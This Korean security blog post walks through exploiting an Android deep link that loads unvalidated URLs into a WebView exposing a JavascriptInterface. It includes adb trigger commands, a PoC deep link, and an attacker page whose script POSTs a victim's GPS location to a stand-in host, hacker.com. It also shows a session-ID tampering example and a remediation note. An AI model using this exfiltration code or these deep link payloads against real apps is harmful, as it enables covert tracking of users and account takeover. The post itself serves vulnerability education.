ி 딥링크 취약점 실행 과정
1. AndroidManifest.xml 파일 내 application 태그에서 MainActivity 내 딥링크 사용 확인
딥링크: app://deeplink/load.jsp
2. getQueryParameter 함수를 통해 딥링크의 파라미터(Url) 값 확인이 가능하며 해당 파라미터를 이용하여 웹뷰를 실행하는 딥링크 앱인 것을 확인(url 검증 로직이 존재하지 않아 Open Redirect 취약점 연계 가능)
딥링크: app://deeplink/load.jsp?Url=
3. MainActivity 내 자바스크립트 인터페이스를 사용하는 getGPSLocation() 함수 확인,
해당 함수 실행 시 evaluateJavascript를 통해 send_gpsinfo 함수 실행
JavascriptInterface: 안드로이드와 웹뷰의 통신을 위해 만들어진 인터페이스이며
웹뷰 내 자바스크립트로 안드로이드 함수를 호출하거나 안드로이드에서 웹뷰의 자바스크립트 실행 가능
evaluateJavascript: 안드로이드에서 웹뷰 내의 자바스크립트 실행 가능
웹뷰 내 자바스크립트로 안드로이드 함수를 호출하거나 안드로이드에서 웹뷰의 자바스크립트 실행 가능
evaluateJavascript: 안드로이드에서 웹뷰 내의 자바스크립트 실행 가능
4. 공격자 서버로 이동되도록 poc 작성 후 딥링크 실행(피해자가 피싱에 의해 실행했다고 가정)
app://deeplink/load.jsp?Url=https://hacker.com/hacker_link.php"
딥링크 실행 방법 1. 딥링크 테스트 사이트 이용(https://jdh5202.tistory.com/951)
방법 2. 단말기 내에서 html 파일 생성 후 a 태그로 딥링크를 작성하여 요청
방법 3. adb 명령어 이용( adb shell am start -W -a android.intent.action.VIEW -d "deeplink" 패키지명
ex)adb shell am start -W -a android.intent.action.VIEW -d "app://deeplink/load.jsp?Url=javascript:Android.getGPSLocation\(\)" com.example.recv_deeplink
방법 2. 단말기 내에서 html 파일 생성 후 a 태그로 딥링크를 작성하여 요청
방법 3. adb 명령어 이용( adb shell am start -W -a android.intent.action.VIEW -d "deeplink" 패키지명
ex)adb shell am start -W -a android.intent.action.VIEW -d "app://deeplink/load.jsp?Url=javascript:Android.getGPSLocation\(\)" com.example.recv_deeplink
공격자 서버 페이지(hacker_link.php) 코드
<html><head><script>
function send_gpsinfo(gps_info)
{
// gps 정보 출력
document.getElementById("result").innerHTML = gps_info;
// 공격자 서버로 피해자의 gps 정보를 전송
client = new XMLHttpRequest();
client.open('POST', 'https://hacker.com/saveGPSinfo.php',true);
client.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
client.send("gpsinfo=" + gps_info);
}
</script></head><body><center>
<!-- 딥링크 -->
<a href="javascript:window.Android.getGPSLocation();">Click me!</a>
<div id="result"></div>
</center></body></html>
End. 피해자가 딥링크 클릭 시 공격자 서버로 GPS 정보가 전송됨
참고: 해당 취약점을 확인하려면 인텐트 스키마 및 JavascriptInterface 개념을 이해하고 있어야 한다.
취약점 조치방법은 allow-list 방식으로 인가된 URI에 대해서만 JavascriptInterface 권한을 부여하도록 설정한다.
취약점 조치방법은 allow-list 방식으로 인가된 URI에 대해서만 JavascriptInterface 권한을 부여하도록 설정한다.
ி 딥링크 취약점 사례
딥링크를 통해 세션 하이재킹, 계정 탈취, LFI, webview 구현을 사용하는 xss 등 다양한 종류의 취약점이
발생할 수 있다. 예를들어 아래 딥링크를 통해 특정 사용자의 세션을 열 수 있다면 공격자는 파라미터 값 변조를
통해 계정 탈취를 수행하는 딥링크를 작성할 수 있다.
example://exam.com/v1/users/sessionId=jdh5202 -> example://exam.com/v1/users/sessionId=admin
'경로 및 정보' 카테고리의 다른 글
'ISMS' vs 'CSMS' (0) | 2023.02.22 |
---|---|
Embedded Fuzzing list (0) | 2023.02.20 |
SOME/IP Protocol과 Service Discovery 소개 및 개념 (0) | 2023.02.17 |
OBD2 블루투스 동글을 이용한 엔진체크등 자동 소거기 (0) | 2023.02.15 |
자동차 사이버 보안 시장 2021 (0) | 2023.02.15 |